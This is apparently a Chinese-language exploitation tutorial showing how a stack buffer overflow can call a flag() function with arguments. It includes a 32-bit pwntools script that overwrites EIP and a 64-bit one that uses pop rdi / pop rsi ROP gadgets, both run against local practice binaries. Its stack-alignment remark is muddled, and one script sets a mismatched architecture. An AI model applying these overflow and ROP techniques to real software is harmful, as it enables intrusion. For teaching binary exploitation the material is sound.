发布于

攻击调用约定

作者
Table of Contents

exploiting_with_params.zip

Binary

0x01 32-bit

程序期望在执行函数之前栈是这样的布局:

origin

那么我们为什么不这样提供呢?除了函数之外,我们还传递返回地址和参数:

new

flag() 地址之后的所有内容都将成为下一个函数的栈帧的一部分,因为它 预期 在那里——只是我们没有使用 push 指令,而是手动覆盖它们。

exp.py
from pwn import *

context(os='linux', arch='amd64', log_level='info')

p = process('./vuln-32')

payload = b'A' * 52         # Padding 到 EIP
payload += p32(0x080491c7)  # flag() 的地址
payload += p32(0x0)         # 避免异常
payload += p32(0xdeadc0de)  # 第一个参数
payload += p32(0xc0ded00d)  # 第二个参数

p.sendline(payload)

p.interactive()

0x02 64-bit

相同的逻辑,只不过我们必须利用之前讨论过的 gadgets 来填充所需的寄存器(在本例中为 rdirsi,因为我们有两个参数)。

我们必须在 调用函数之前 填充寄存器:

exp.py
from pwn import *

context(os='linux', arch='amd64', log_level='info')

p = process('./vuln-64')

POP_RDI, POP_RSI_R15 = 0x4011fb, 0x4011f9

payload = b'A' * 56          # Padding 到 RIP
payload += p64(POP_RDI)      # pop rdi ; ret
payload += p64(0xdeadc0de)   # 进入 rdi 的值 - 第一个参数
payload += p64(POP_RSI_R15)  # pop rsi ; pop r15 ; ret
payload += p64(0xc0ded00d)   # 进入 rsi 的值 - 第二个参数
payload += p64(0x0)          # 进入 r15 的值 - 避免异常
payload += p64(0x40116f)     # flag() 的地址
payload += p64(0x0)          # 避免异常

p.sendline(payload)

p.interactive()

Note

在返回地址后面加 0 本质是为了让程序有个返回的地方,防止异常,不然会返回到下面奇奇怪怪的东西;有时候也可能是栈对齐,64-bit 程序执行 system 时会有一个检查,确保栈指针是指着 0 的(结尾是 0),没有对齐的话就不能执行。
通常 0 可以替换为任意值,效果是一样的。只是习惯加 0。